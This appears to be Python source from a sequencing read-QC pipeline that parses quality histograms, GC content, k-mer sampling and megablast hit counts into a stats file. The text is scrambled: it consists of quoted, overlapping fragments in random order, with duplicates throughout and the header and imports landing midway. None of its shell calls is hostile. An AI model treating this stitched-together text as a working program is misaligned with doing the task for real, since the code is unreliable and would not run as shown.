Q10_seen", "else: toks = line.split() assert len(toks) == 9 mean = float(toks[6][1:]) * 100.0", "as merFH: lines = merFH.readlines() ## last line t = lines[-1].split('\\t') # breaks", "in allLines[::-1]: l = l.strip() ## ## obqhist file format example ## #", "qrptFH: for l in qrptFH: if l.startswith('#'): continue ## New data # 0", "if len(t) == 1 and t[0].isdigit(): top100hits = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \"", "## READ1.qrpt # ## column count min max sum mean Q1 med Q3", ": \"\"\" # def q20_score(qrpt, log): # log.debug(\"qrpt file %s\" % (qrpt)) #", "#Found 1086 total values totalling 420.3971. <0.387106 +/- 0.112691> if len(line) == 0", "= statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if Q15_seen == 0 and", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif qavg == 20: Q20_seen = 1 statsPerc[20] =", "== 1 and t[0].isdigit(): hitCount = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \" +", "= 1 statsPerc[20] = statsPerc[25] statsBase[20] = statsBase[25] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] =", "%s, Q15 %s, Q10 %s, Q5 %s\" % \\ (stats[30], stats[25], stats[20], stats[15],", "reformatObqhistFile, log): cummlatPer = 0 cummlatBase = 0 statsPerc = {30:0, 25:0, 20:0,", "(tophitFile), True, log) t = tophits.split() if len(t) == 1 and t[0].isdigit(): topHit", "of megablast against different databases. Usage : read_megablast_hits(db_name, log) Args : blast db", "## spe = 0 taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db)) species, _, exitCode", "statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if Q10_seen == 0", "= float(t[5]) # # if mean and pos: # if mean < 20:", "report could not be generated. Comments : This function is intended to be", "16 17 18 ##BaseNum count_1 min_1 max_1 mean_1 Q1_1 med_1 Q3_1 LW_1 RW_1", "## ## wc the top 100 hit ## top100hits = 0 top100hitFile =", "= os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db)) species, _, exitCode = run_sh_command(\"grep -v '^#' %s", "23.44 25 26 28 3 21 32 106904 84046 81795 105956 0 378701", "Usage : JGI_QC_Utility::qc20_score($qrpt) Args : $_[0] : qrpt file. Returns : a number", "== 0 and Q30_seen != 0: Q25_seen = 1 stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25]", "## Old format # ## READ1.qrpt # ## column count min max sum", "1 statsPerc[10] = cummlatPer statsBase[10] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase", "Q30_seen == 0: log.error(\"Q30 is 0 . Read quality values are ZERO.\") log.debug(\"Q30", "## # ## or # ## # ## READ2.qrpt # ## column count", "qavg = int(t[0]) nbase = int(t[1]) percent = float(t[2]) except IndexError: log.warn(\"parse error", "# if mean < 20: # return pos - 1 # else: #", "10:0, 5:0} allLines = open(qhistTxtFullPath).readlines() for l in allLines[::-1]: if not l: break", "os.path.join(megablastPath, parsedFileFound), log) else: log.error(\"- Failed to add megablast parsed file of %s.\"", "missing. if Q25_seen == 0 and Q30_seen != 0: Q25_seen = 1 statsPerc[25]", "ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \" + db, spe, log) ## ## wc the top", "2 3 4 ##25000 2500 0.1 9704 0.3882 ## New data #count first", "# 4 0 0.00000 # 5 0 0.00000 # 6 0 0.00000 if", "= 1 stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif qavg <= 10 and", "== 5: Q5_seen = 1 statsPerc[5] = cummlatPer statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] =", "parsedFileFound, _, exitCode = run_sh_command(\"ls %s\" % (parsedFile), True, log) if parsedFileFound: parsedFileFound", "merFH.readlines() ## last line t = lines[-1].split('\\t') # breaks 2016-09-07 #assert len(t) ==", "Q25_seen = 0 Q20_seen = 0 Q15_seen = 0 Q10_seen = 0 Q5_seen", "= 0 Q15_seen = 0 Q10_seen = 0 Q5_seen = 0 if os.path.isfile(qhistTxtFullPath):", "wc -l \" % (top100hitFile), True, log) t = species.split() if len(t) ==", "0 36 33.48 33 34 34 29 36 pos = None mean =", "2016-09-07 #assert len(t) == 5 totalMers = int(t[0]) ## new by bbcountunique uniqStartMerPer", ": 1) A reference to an JGI_Analysis object 2) current working folder wkdir/uniqueness", "378701 2 37 9686653 25.58 19 32 33 14 2 37 97835 78304", "0 statsPerc = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} statsBase = {30:0, 25:0,", "5 378701 2 37 10208226 26.96 25 33 35 10 10 37 98021", "percent = None t = l.split() try: qavg = int(t[0]) nbase = int(t[1])", "qhist file not found: %s\" % (qhistTxtFullPath)) return retCode \"\"\" Title : read_gc_mean", "# # if num == 1: # continue # # ############## # ##", "T_Count N_Count Max_count # ## 1 378701 2 34 12447306 32.87 31 34", "= int(t[0]) ## new by bbcountunique uniqStartMerPer = float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer =", "## # ## READ2.qrpt # ## column count min max sum mean Q1", "= None nbase = None percent = None t = l.split() try: qavg", "C_Count G_Count T_Count N_Count Max_count # ## 1 378701 2 34 12447306 32.87", "_, exitCode = run_sh_command(\"ls %s\" % (top100hitFile), True, log) top100hitFound = top100hitFound.strip() if", "stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if Q30_seen == 0: log.error(\"Q30 is 0 . Read", "% \\ (stats[30], stats[25], stats[20], stats[15], stats[10], stats[5])) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"-", "37 13807944 36.46 37 37 37 0 37 37 96935 95322 83958 102440", "RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title : read_megablast_hits Function : This function generates", "file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## wc the top hits", "% (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : q20_score Function : this method returns", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif qavg == 10: Q10_seen = 1 statsPerc[10] =", "wc -l \" % (parsedFile), True, log) if exitCode == 0: ## if", "\"\"\" Title : read_level_qual_stats Function : Generate qual scores and plots of read", "and t[0].isdigit(): top100hits = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \" + db, top100hits,", "read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode = RQCExitCodes.JGI_FAILURE ## Old data #nSeq nStartUniMer fracStartUniMer nRandUniMer", "%s %s %s\" % (l, qavg, nbase, percent)) continue log.debug(\"base_level_qual_stats(): qavg and nbase", "15:0, 10:0, 5:0} statsBase = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} Q30_seen =", "87944 114618 0 378701 # ## 5 378701 2 37 10208226 26.96 25", "def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer = 0 cummlatBase = 0 statsPerc = {30:0,", "1: # continue # # ############## # ## Old format # ## READ1.qrpt", "% (l, qavg, nbase, percent)) continue log.debug(\"base_level_qual_stats(): qavg and nbase and percent: %s", "25.58 19 32 33 14 2 37 97835 78304 87944 114618 0 378701", "Title : read_level_qual_stats Function : Generate qual scores and plots of read level", "/usr/bin/env python # -*- coding: utf-8 -*- \"\"\" Readqc report: record stat key-value", "Args : blast db name or full path Returns : SUCCESS FAILURE Comments", "Q5_seen = 1 statsPerc[5] = statsPerc[10] statsBase[5] = statsBase[10] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5]", "def q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new(): bqHist file = %s\" % (bqHist)) q20 =", "34 34 1 32 34 112178 83555 84449 98519 0 378701 # ##", "7 8 9 10 11 12 13 14 15 16 17 18 ##BaseNum", "1 # # if num == 1: # continue # # ############## #", "+ 1 if readNum == 1: mean = float(t[4]) else: mean = float(t[13])", "qavg <= 20 and qavg > 15 and Q20_seen == 0: Q20_seen =", "put them into database. Usage : read_gc_mean($analysis) Args : 1) A reference to", "+ percent cummlatPer = float(\"%.2f\" % cummlatPer) if qavg <= 30 and qavg", "%s\" % (bqHist)) q20 = None if os.path.isfile(bqHist): with open(bqHist, \"r\") as qrptFH:", "level QC Usage : read_level_qual_stats($analysis, $) Args : 1) A reference to an", "% (qavg, nbase, percent)) cummlatPer += percent * 100.0 cummlatPer = float(\"%.f\" %", "#count first rand first_cnt rand_cnt # 0 1 2 3 4 #25000 66.400", "if num == 1: # continue # # ############## # ## Old format", "retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc hist file not found: %s\" % (histFile))", "= cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif qavg == 10: Q10_seen", "# ## 3 378701 2 34 7131741 18.83 16 16 26 10 2", "= run_sh_command(\"ls %s\" % (top100hitFile), True, log) top100hitFound = top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile,", "0 parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db)) matchings, _, exitCode = run_sh_command(\"grep -v", "tophitFound.strip() if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \" + db, os.path.join(megablastPath, tophitFound), log)", "%s.\" % (db)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : read_level_qual_stats Function : Generate qual", "= cummlatBase elif qavg == 15: Q15_seen = 1 statsPerc[15] = cummlatPer statsBase[15]", "= uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found: %s\" %", "= RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title : read_megablast_hits Function : This function", "36.42 37 37 37 0 37 37 114586 68297 78020 117740 58 378701", "36 6900 0 36 33.48 33 34 34 29 36 pos = None", "file ## top100hitFound, _, exitCode = run_sh_command(\"ls %s\" % (top100hitFile), True, log) top100hitFound", "> 6 # pos = int(t[0]) # mean = float(t[5]) # # if", "20: Q20_seen = 1 statsPerc[20] = cummlatPer statsBase[20] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer", "and pos: # if mean < 20: # return pos - 1 #", "JGI_Analysis object 2) current working folder wkdir/qual Returns : JGI_SUCCESS: Illumina read level", "log) t = tophits.split() if len(t) == 1 and t[0].isdigit(): topHit = int(t[0])", "top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db)) species, _, exitCode = run_sh_command(\"grep -v '^#'", "None # mean = None # t = l.split(\"\\t\") # assert len(t) >", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif qavg == 25: Q25_seen = 1", "1) A reference to an JGI_Analysis object Returns : JGI_SUCCESS: JGI_FAILURE: Comments :", "parsed file found. t = matchings.split() if len(t) == 1 and t[0].isdigit(): hitCount", "2 37 9686653 25.58 19 32 33 14 2 37 97835 78304 87944", "5: Q5_seen = 1 statsPerc[5] = cummlatPer statsBase[5] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer", "RQCExitCodes.JGI_SUCCESS \"\"\" Title : read_level_qual_stats Function : Generate qual scores and plots of", "Q15 %s, Q10 %s, Q5 %s\" % \\ (stats[30], stats[25], stats[20], stats[15], stats[10],", "exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (parsedFile),", "_, exitCode = run_sh_command(\"ls %s\" % (taxlistFile), True, log) taxListFound = taxListFound.strip() if", "< 20: # return pos - 1 # else: # q20 = pos", "cummlatBase += nbase if qavg == 30: Q30_seen = 1 statsPerc[30] = cummlatPer", "mean < 20: # return pos - 1 # else: # q20 =", "= open(reformatObqhistFile).readlines() for l in allLines[::-1]: l = l.strip() ## ## obqhist file", "37 96935 95322 83958 102440 46 378701 # ## 5 378701 2 37", "nbase and percent: %s %s %s\" % (qavg, nbase, percent)) cummlatPer += percent", "first rand first_cnt rand_cnt # 0 1 2 3 4 #25000 66.400 76.088", "cummlatPer if Q15_seen == 0 and Q20_seen != 0: Q15_seen = 1 stats[15]", "\" \" + db, os.path.join(megablastPath, parsedFileFound), log) else: log.error(\"- Failed to add megablast", "if Q15_seen == 0 and Q20_seen != 0: Q15_seen = 1 statsPerc[15] =", "14 2 37 97835 78304 87944 114618 0 378701 # ## 5 378701", "plots of read level QC Usage : base_level_qual_stats($analysis, $) Args : 1) A", "illumina read level data processing script. \"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode =", "stats[25], stats[20], stats[15], stats[10], stats[5])) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not", "retCode = RQCExitCodes.JGI_FAILURE else: toks = line.split() assert len(toks) == 9 mean =", "# pos = None # mean = None # t = l.split(\"\\t\") #", "1 stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif qavg <= 15 and qavg", "megablastDir = \"megablast\" megablastPath = os.path.join(currentDir, megablastDir) statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"]", "6 0 0.00000 if len(l) > 0: if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] =", "0 cummlatBase = 0 statsPerc = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} statsBase", "38 ##Mean 37.061 ##STDev 4.631 ##Mean_30 37.823 ##STDev_30 1.699 ##Quality bases fraction #0", "%s\" % (qrpt)) # return None # # # return q20 def q20_score_new(bqHist,", "cummlatPer += percent * 100.0 cummlatPer = float(\"%.f\" % (cummlatPer)) if cummlatPer >", "float(\"%.2f\" % cummlatPer) if qavg <= 30 and qavg > 25 and Q30_seen", "## custom libs in \"../lib/\" srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ## ./tools sys.path.append(os.path.join(srcDir,", "# pos = int(t[0]) # mean = float(t[5]) # # if mean and", "< 20: return pos - 1 else: q20 = pos else: log.error(\"- bqHist", "and add top100hit file ## top100hitFound, _, exitCode = run_sh_command(\"ls %s\" % (top100hitFile),", "43.072 49.184 10768 12296 ... if os.path.isfile(dataFile): with open(dataFile, \"r\") as merFH: lines", "7029 378701 # ## 3 378701 2 34 7131741 18.83 16 16 26", "= int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \" + db, top100hits, log) ## ##", "== 0 and Q25_seen != 0: Q20_seen = 1 stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20]", "fracStartUniMer nRandUniMer fracRandUniMer ## 0 1 2 3 4 ##25000 2500 0.1 9704", "12519460 33.06 33 34 34 1 32 34 104668 72341 80992 120700 0", "and nbase and percent: %s %s %s\" % (qavg, nbase, percent)) cummlatPer +=", "32 106904 84046 81795 105956 0 378701 # ## 2 378701 2 34", "data processing script. \"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode = RQCExitCodes.JGI_FAILURE cummlatPer =", "Q30_seen = 0 Q25_seen = 0 Q20_seen = 0 Q15_seen = 0 Q10_seen", "2 3 4 5 6 7 8 9 10 11 12 13 14", "\"megablast.*.%s*.parsed.tophit\" % (db)) tophits, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null |", "import RQCExitCodes from os_utility import run_sh_command from common import append_rqc_stats, append_rqc_file statsFile =", "top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \" + db, os.path.join(megablastPath, top100hitFound), log) else: log.error(\"-", "_, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" %", "return retCode \"\"\" Title : read_gc_mean Function : This function generates average GC", "this method returns Q20 using a qrpt file as input Usage : JGI_QC_Utility::qc20_score($qrpt)", "59.480 13037 14870 #75000 46.592 53.444 11648 13361 #100000 43.072 49.184 10768 12296", "1 and t[0].isdigit(): hitCount = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \" + db,", "os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db)) matchings, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null", "cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif qavg == 15: Q15_seen = 1 statsPerc[15] =", "not found: %s\" % (qrpt)) # return None # # # return q20", "= run_sh_command(\"ls %s\" % (parsedFile), True, log) if parsedFileFound: parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile,", "# ## 2 378701 2 34 12515957 33.05 33 34 34 1 32", "5 and Q5_seen == 0: Q5_seen = 1 stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] =", "1 statsPerc[15] = cummlatPer statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase", "(dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : q20_score Function : this method returns Q20", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ## Double check that no value is missing.", "= lines[-1].split('\\t') # breaks 2016-09-07 #assert len(t) == 5 totalMers = int(t[0]) ##", "uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not found:", "= 0 statsPerc = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} statsBase = {30:0,", "if Q10_seen == 0 and Q15_seen != 0: Q10_seen = 1 stats[10] =", "Q5_seen == 0 and Q10_seen != 0: Q5_seen = 1 stats[5] = stats[10]", "lW rW A_Count C_Count G_Count T_Count N_Count Max_count # ## 1 378701 2", "100.0 log.debug(\"mean, stdev = %.2f, %.2f\" % (mean, stdev)) retCode = RQCExitCodes.JGI_SUCCESS else:", "parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \" + db, os.path.join(megablastPath, parsedFileFound), log) else: log.error(\"-", "#Mean 33.298 # #STDev 5.890 # #Mean_30 35.303 # #STDev_30 1.517 # #Quality", "nbase = int(t[1]) percent = float(t[2]) except IndexError: log.warn(\"parse error in base_level_qual_stats: %s", "if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \" + db, os.path.join(megablastPath, top100hitFound), log) else:", "## if parsed file found. t = matchings.split() if len(t) == 1 and", "Q25_seen == 0 and Q30_seen != 0: Q25_seen = 1 statsPerc[25] = statsPerc[30]", "generated. JGI_FAILURE: Illumina read level report could not be generated. Comments : This", "= cummlatBase if Q30_seen == 0: log.error(\"Q30 is 0. Base quality values are", "missing. if Q25_seen == 0 and Q30_seen != 0: Q25_seen = 1 stats[25]", "%s 2>/dev/null | wc -l \" % (tophitFile), True, log) t = tophits.split()", "def read_level_mer_sampling(dataToRecordDict, dataFile, log): retCode = RQCExitCodes.JGI_FAILURE ## Old data #nSeq nStartUniMer fracStartUniMer", "## we only need the first line # Ex) #Found 1086 total values", "nbase, percent)) continue log.debug(\"base_level_qual_stats(): qavg and nbase and percent: %s %s %s\" %", "top100hitFound, _, exitCode = run_sh_command(\"ls %s\" % (top100hitFile), True, log) top100hitFound = top100hitFound.strip()", "nbase = None percent = None t = l.split() try: qavg = int(t[0])", "96935 95322 83958 102440 46 378701 # ## 5 378701 2 37 13790443", "# # q20 = None # num = 0 # # if os.path.isfile(qrpt):", "Q20_seen = 1 stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer if Q15_seen == 0", "26 28 3 21 32 106904 84046 81795 105956 0 378701 # ##", "0 and Q30_seen != 0: Q25_seen = 1 statsPerc[25] = statsPerc[30] statsBase[25] =", "return RQCExitCodes.JGI_FAILURE ## ## Find and add top100hit file ## top100hitFound, _, exitCode", "(float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS", "if mean and pos: if mean < 20: return pos - 1 else:", "cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif qavg == 25: Q25_seen =", "%s\" % (bqHist)) return None return q20 \"\"\" Title : read_level_qual_stats Function :", "\"\"\" Title : base_level_qual_stats Function : Generate qual scores and plots of read", "11 12 13 14 15 16 17 18 ##BaseNum count_1 min_1 max_1 mean_1", "elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue qavg =", "read_level_qual_stats Function : Generate qual scores and plots of read level QC Usage", "or not line.startswith(\"#Found\"): log.error(\"- GC content hist text file does not contains right", "Find and add tophit file ## tophitFound, _, exitCode = run_sh_command(\"ls %s\" %", "db, os.path.join(megablastPath, tophitFound), log) else: log.error(\"- Failed to add megablast tophit file of", "retCode \"\"\" Title : base_level_qual_stats Function : Generate qual scores and plots of", "rqc-pipeline/tools from readqc_constants import RQCReadQcConfig, ReadqcStats from rqc_constants import RQCExitCodes from os_utility import", "= statsPerc[15] statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if Q5_seen", "+ db, spe, log) ## ## wc the top 100 hit ## top100hits", "= 1 stats[5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ### Double check that no", "% (histFile, line)) retCode = RQCExitCodes.JGI_FAILURE else: toks = line.split() assert len(toks) ==", "(l, qavg, nbase, percent)) continue log.debug(\"base_level_qual_stats(): qavg and nbase and percent: %s %s", "Args : 1) A reference to an JGI_Analysis object Returns : JGI_SUCCESS: JGI_FAILURE:", "## 3 378701 2 34 7131741 18.83 16 16 26 10 2 34", "l.split('\\t')[1] continue qavg = None nbase = None percent = None t =", "QC Usage : read_level_qual_stats($analysis, $) Args : 1) A reference to an JGI_Analysis", "#0 159 0.00008 #1 0 0.00000 #2 12175 0.00593 #3 0 0.00000 #4", "hist file not found: %s\" % (histFile)) return retCode, mean, stdev if __name__", "pos: # if mean < 20: # return pos - 1 # else:", "None percent = None t = l.split() try: qavg = int(t[0]) nbase =", "# breaks 2016-09-07 #assert len(t) == 5 totalMers = int(t[0]) ## new by", "append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \" + db, os.path.join(megablastPath, top100hitFound), log) else: log.error(\"- Failed", "RQCExitCodes.JGI_FAILURE else: log.info(\"- No blast hits for %s.\" % (db)) return RQCExitCodes.JGI_SUCCESS \"\"\"", "len(l) > 0: if l.startswith(\"#\"): if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD]", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer ### Double check that no value is missing. if Q25_seen", "qavg == 25: Q25_seen = 1 statsPerc[25] = cummlatPer statsBase[25] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25]", "of the illumina read level data processing script. \"\"\" def read_level_mer_sampling(dataToRecordDict, dataFile, log):", "bbcountunique uniqStartMerPer = float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer = float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] =", "else: log.error(\"- qhist file not found: %s\" % (qhistTxtFullPath)) return retCode \"\"\" Title", "12175 0.00593 #3 0 0.00000 #4 0 0.00000 #5 0 0.00000 #6 0", "db, top100hits, log) ## ## Find and add taxlist file ## taxListFound, _,", "# return pos - 1 # else: # q20 = pos # #", "# return q20 def q20_score_new(bqHist, readNum, log): log.debug(\"q20_score_new(): bqHist file = %s\" %", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if Q20_seen == 0 and Q25_seen != 0:", "= %.2f, %.2f\" % (mean, stdev)) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc hist", "read_gc_mean Function : This function generates average GC content % and its standard", "l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue qavg = None", "statsPerc[20] statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if Q10_seen ==", "or full path Returns : SUCCESS FAILURE Comments : \"\"\" def read_megablast_hits(db, log):", "log) else: log.error(\"- Failed to add megablast top100hit file of %s.\" % (db))", "36 # #Mean 33.298 # #STDev 5.890 # #Mean_30 35.303 # #STDev_30 1.517", "try: qavg = int(t[0]) nbase = int(t[1]) percent = float(t[2]) except IndexError: log.warn(\"parse", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q5] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C5] = cummlatBase ## Double check that no value is", "not found: %s\" % (bqHist)) return None return q20 \"\"\" Title : read_level_qual_stats", "Jul 24 2013 sulsj (<EMAIL>) \"\"\" import os import sys ## custom libs", "and qavg > 15 and Q20_seen == 0: Q20_seen = 1 stats[20] =", "found: %s\" % (bqHist)) return None return q20 \"\"\" Title : read_level_qual_stats Function", "(top100hitFile), True, log) t = species.split() if len(t) == 1 and t[0].isdigit(): top100hits", "29 36 6900 0 36 33.48 33 34 34 29 36 pos =", "content hist text file does not contains right results: %s, %s\" % (histFile,", "import run_sh_command from common import append_rqc_stats, append_rqc_file statsFile = RQCReadQcConfig.CFG[\"stats_file\"] filesFile = RQCReadQcConfig.CFG[\"files_file\"]", "Base quality values are ZERO.\") log.debug(\"Q and C values: %s\" % (dataToRecordDict)) return", "= top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \" + db, os.path.join(megablastPath, top100hitFound),", "= uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"- qhist file not", "0 378701 # ## 3 378701 2 34 12519460 33.06 33 34 34", "= float(t[13]) if mean and pos: if mean < 20: return pos -", "(float(t[1]))) uniqRandtMerPer = float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS]", "log.error(\"- bqHist file not found: %s\" % (bqHist)) return None return q20 \"\"\"", "key-value in readqc-stats.txt ### JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24 2013 sulsj (<EMAIL>) \"\"\" import", "Q30_seen == 0: log.error(\"Q30 is 0. Base quality values are ZERO.\") log.debug(\"Q and", "# def q20_score(qrpt, log): # log.debug(\"qrpt file %s\" % (qrpt)) # # q20", "## New data # 0 1 2 3 4 5 6 7 8", "25:0, 20:0, 15:0, 10:0, 5:0} Q30_seen = 0 Q25_seen = 0 Q20_seen =", "32 34 112178 83555 84449 98519 0 378701 # ## 3 378701 2", "lines = merFH.readlines() ## last line t = lines[-1].split('\\t') # breaks 2016-09-07 #assert", "Q15_seen = 1 stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if Q10_seen == 0", "!= 0: Q5_seen = 1 stats[5] = stats[10] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q5] = cummlatPer if 